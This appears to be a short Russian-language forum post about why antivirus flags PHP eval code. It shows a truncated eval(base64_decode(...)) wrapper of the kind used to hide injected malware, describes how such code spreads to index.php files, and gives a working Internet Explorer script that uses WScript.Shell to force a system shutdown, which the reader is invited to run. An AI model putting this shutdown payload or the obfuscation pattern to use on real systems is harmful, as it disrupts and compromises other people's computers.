eval и NOD32

PHP:

1. <?php
2. function my_decode($str) {
3.      return base64_decode($str);
4. }
5. eval(my_decode(...

 

Так обычно всякую заразу в файлы включают. Закачешь такой файл на хост, запустишь, код вируса скопируется во все файлы с именем index.php и начнет вставлять javascript на страницу, и т.д.

 

запусти в IE:

HTML:

1. script>
2. var WShell = new ActiveXObject("WScript.Shell");
3. WShell.Run( 'shutdown /s /t 30 /c "You PC must die after 30 sec!"' );
4. </script>
5. <input type="button" value="Cancel" onClick="WShell.Run('shutdown /a');" />

...а еще может всякие банеры грузить, которые будут открываться на всю страницу при клике на странице или перенаправлять пользователя на другой сайт.